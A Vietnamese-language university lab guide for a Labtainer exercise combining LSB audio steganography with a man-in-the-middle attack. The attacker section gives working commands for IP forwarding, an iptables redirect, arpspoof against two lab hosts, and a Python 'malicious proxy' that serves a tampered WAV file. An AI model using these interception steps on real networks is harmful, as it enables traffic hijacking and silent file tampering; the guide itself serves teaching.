**Tấn công Man-in-the-Middle và sửa đổi File âm thanh giấu tin**

Cài đặt bài lab:

*imodule* <https://github.com/Quyen-TT/Audio_Steganography/raw/main/audiosteg-lsb-attack/imodule.tar>

**Mục đích**

Giúp sinh viên thực hành kỹ thuật giấu tin (steganography) trong file âm thanh sử dụng phương pháp LSB (Least Significant Bit), thiết lập proxy mạng, thực hiện tấn công ARP spoofing, và phân tích file âm thanh để trích xuất thông điệp.

**Yêu cầu đối với sinh viên**

Có kiến thức cơ bản về hệ điều hành Linux, mạng máy tính, và Python.

Hiểu về kỹ thuật giấu tin LSB và tấn công ARP spoofing.

Cài đặt sẵn các công cụ: Python, ffmpeg, arpspoof, iptables, và các thư viện Python liên quan (wave, numpy).

**Nội dung thực hành**

1. Khởi động bài lab

Mở terminal và gõ lệnh sau để khởi động môi trường lab:

*labtainer -r audiosteg-arp-spoof*

Lưu ý: Sinh viên sử dụng mã sinh viên để nhập thông tin email khi được yêu cầu, nhằm phục vụ cho việc chấm điểm.

Sau khi khởi động, 3 terminal ảo sẽ xuất hiện, sẵn sàng cho các bước thực hành.

2. Các bước thực hiện

Sử dụng lệnh *ifconfig* để kiểm tra địa chỉ IP của 3 máy

**Trên máy attacker:**

Kích hoạt IP forwarding để cho phép chuyển tiếp gói tin:

*sudo sysctl -w net.ipv4.ip\_forward=1*

Tạo hoặc chỉnh sửa script proxy (proxy.py) để xử lý lưu lượng mạng:

*sudo nano proxy.py*

Sinh viên sử dụng đoạn code dưới đây:

|  |
| --- |
| import http.server  import socketserver  import os  import time  PORT = 8080  class MyHandler(http.server.SimpleHTTPRequestHandler):  def log\_request(self, code='-', size='-'):  now = time.strftime('%d/%b/%Y %H:%M:%S')  client\_ip = self.client\_address[0]  request\_line = "%s %s %s" % (self.command, self.path, self.request\_version)  print('%s - - [%s] "%s" %s %s' % (client\_ip, now, request\_line, str(code), str(size)))  def do\_GET(self):  if self.path == "/output.wav":  filepath = "modified.wav"  if os.path.exists(filepath):  content\_length = os.path.getsize(filepath)  self.send\_response(200)  self.send\_header("Content-type", "audio/x-wav")  self.send\_header("Content-Length", str(content\_length))  self.end\_headers()  with open(filepath, "rb") as f:  data = f.read()  self.wfile.write(data)  self.log\_request(200, content\_length)  else:  self.send\_error(404, "File not found")  else:  http.server.SimpleHTTPRequestHandler.do\_GET(self)  httpd = socketserver.TCPServer(("", PORT), MyHandler)  print("Serving malicious proxy on port %d..." % PORT)  httpd.serve\_forever() |

Chạy script proxy ở chế độ nền:

*python3 proxy.py &*

Xóa các quy tắc NAT hiện có và thêm quy tắc chuyển hướng lưu lượng từ cổng 8000 sang cổng 8080:

*sudo iptables -t nat -F*

*sudo iptables -t nat -A PREROUTING -p tcp --dport 8000 -j REDIRECT --to-port 8080*

Thực hiện tấn công ARP spoofing để đánh lừa hai thiết bị trong mạng (192.168.10.10 và 192.168.10.30) rằng máy của bạn là gateway:

*sudo arpspoof -i eth0 -t 192.168.10.10 192.168.10.30 -r*

*sudo arpspoof -i eth0 -t 192.168.10.30 192.168.10.10 -r*

**Lưu ý:** Mở hai terminal riêng biệt để chạy đồng thời hai lệnh trên. Các lệnh này giả lập tấn công Man-in-the-Middle (MITM).

**Trên máy sender:**

Tiến hành giấu tin, sử dụng 4 bit LSB (-n 4):

*python3 lsb\_emb.py -s demo.wav -f message.txt -n 4*

Kết quả tạo ra file âm thanh chứa thông điệp giấu kín (giả sử là output.wav).

Thiết lập server HTTP để chia sẻ file:

Chạy server HTTP trên cổng 8000 để chia sẻ file âm thanh:

*python3 -m http.server 8000*

Trên máy attacker, tải file âm thanh đã giấu tin từ server:

*wget http://192.168.10.10:8000/output.wav*

**Lưu ý:** Đóng kết nối HTTP trên server sau khi thấy đã có một lần tải xuống thành công.

Sử dụng ffmpeg để giảm âm lượng file âm thanh (tăng 1.5 lần):

*ffmpeg -i output.wav -filter:a "volume=1.5" modified.wav*

**Trên máy receiver:**

Tải lại file âm thanh từ server (để mô phỏng truy cập từ máy khác):

*wget http://192.168.10.10:8000/output.wav*

**Lưu ý:** Nếu thấy thông báo lỗi, chạy lại câu lệnh 2-3 lần.

Trích xuất thông điệp từ file output.wav để kiểm tra:

*python3 lsb\_extract.py -s output.wav -e s.txt -n 4 -b 11*

*cat s.txt*

Kiểm tra sự biến đổi của file giấu tin vừa tải:

*python3 detect.py*

Sử dụng ffmpeg để khôi phục file âm thanh giấu tin ban đầu:

ffmpeg -i output.wav -filter:a "volume=1/1.5" recover.wav

Xem thông điệp được giấu ban đầu:

*python3 lsb\_extract.py -s* recover.wav *-e r.txt -n 4 -b 11*

*cat r.txt*

3. Kết thúc bài lab

Trên terminal đầu tiên, sử dụng lệnh sau để kết thúc bài lab:

*stoplab audiosteg-arp-spoof*

Khi bài lab kết thúc, một tệp zip chứa kết quả (bao gồm các file âm thanh, thông điệp trích xuất, và log) sẽ được tạo và lưu tại vị trí hiển thị bên dưới lệnh stoplab.

4. Khởi động lại bài lab

Nếu cần thực hiện lại bài lab, sử dụng lệnh:

*labtainer -r audiosteg-arp-spoof*